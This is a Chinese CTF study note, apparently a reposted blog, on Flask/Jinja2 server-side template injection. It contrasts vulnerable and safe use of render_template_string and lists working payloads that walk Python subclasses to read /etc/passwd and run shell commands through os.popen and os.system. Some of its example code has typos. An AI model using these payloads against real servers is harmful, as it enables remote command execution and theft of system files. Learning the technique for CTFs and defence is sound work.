Flask模板注入


在攻防世界做到一道涉及模板注入的題Web_python_template_injection,簡單了解了一下模板注入

模板可以理解為是一段固定好格式,並等着你來填充信息的文件,模板注入就是指將一串指令代替變量傳入模板中讓它執行

先了解了一下裝飾器的概念

裝飾器: 簡單講就是在一個函數內部定義另外一個函數,然后返回一個新的函數,即動態的給一個對象添加額外的職責。比如有一個函數func(a, b),它的功能是求a,b的差值,我們現在想對函數功能再裝飾下,求完差值后再取絕對值,但是不能在func函數內部實現,這時候就需要裝飾器函數了,比如func= decorate(func)函數,將func函數作為參數傳遞給decorate函數,由decorate來豐富func函數,豐富完成后再返回給func,此時func的功能就豐富了。

@ 用做函數的修飾符,可以在模塊或者類的定義層內對函數進行修飾

def decorate(func):
    def inner(a, b):
        ret = func(a, b):
        return abs(ret)
    return inner
 @decorate
 def sub(a, b):
    return a-b
    
 print sun(3,4)
 
 =>1

@app.route

app.route裝飾器作用是把函數和URL綁定

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

訪問http://url/index的時候,flask會返回Hello World

渲染

  • render_template 用來渲染一個指定的文件的
  • render_template_string 用來渲染一個字符串

模板

Flask使用Jinja2渲染引擎,以{{}}作為變量包裹的標識符同時,這個符號包裹內還可以執行一些簡單的表達式

模板引擎會對輸入變量進行編碼轉義:

錯誤使用:

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
 return render_template_string(html)

上面這段代碼直接將用戶輸入作為了模板,不會經過轉義和過濾的步驟,我們在傳入code時,可以用{{}}來包裹代碼,以替代本應時參數的id

http://url/?id={{代碼}}

正確使用:

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

注入

通過Python對象的繼承,用魔術方法一步步找到可利用的方法去執行。即找到父類<type 'object'>–>尋找子類–>找關於命令執行或者文件操作的模塊

os.system 退出狀態碼
os.popen 以file形式返回輸出內容

對象的魔術方法:

__class__  返回類型所屬的對象
__mro__    返回一個包含對象所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__   返回該對象所繼承的基類
// __base__和__mro__都是用來尋找基類的

__subclasses__   每個新類都保留了子類的引用,這個方法返回一個類中仍然可用的的引用的列表
__init__  類的初始化方法
__globals__  對包含函數全局變量的字典的引用

步驟

#測試是否存在模板注入
>>>{{1+1}}
[構造簡單的payload,看服務器是否有回顯]

#獲取''字符串的所屬對象
>>> ''.__class__
<class 'str'>

#獲取str類的父類
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

#獲取object類的所有子類
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...

 #找到所需的類在列表第幾位(從第0位開始)
 >>>''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('命令行語句').read()
 [ popen('ls').read(),意思是得到ls的結果並讀取給變量,因此它會把當前目錄所有文件都打印在我們的網頁上]
 
 #讀取文件內容
 >>>''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
 
常用payload:
>>>''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
>>>''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
>>>''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()

包含os模塊的類:

<class 'site._Printer'>
<class 'site.Quitter'>

reference

https://zhuanlan.zhihu.com/p/26724125

https://www.liaoxuefeng.com/wiki/1016959663602400/1017451662295584#0

https://www.jianshu.com/p/b6f1aea3a2eb

https://blog.csdn.net/zss192/article/details/104200493




補充下:
內置函數:get_flashed_messages(), url_for()

url_for()
一般我們通過一個URL就可以執行到某一個函數。如果反過來,我們知道一個函數,怎么去獲得這個URL呢?url_for函數就可以幫我們實現這個功能。url_for()函數接收兩個及以上的參數,他接收函數名作為第一個參數,接收對應URL規則的命名參數,如果還出現其他的參數,則會添加到URL的后面作為查詢參數。

get_flashed_messages()
返回之前在Flask中通過 flash() 傳入的閃現信息列表。把字符串對象表示的消息加入到一個消息隊列中,然后通過調用get_flashed_messages() 方法取出(閃現信息只能取出一次,取出后閃現信息會被清空)。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM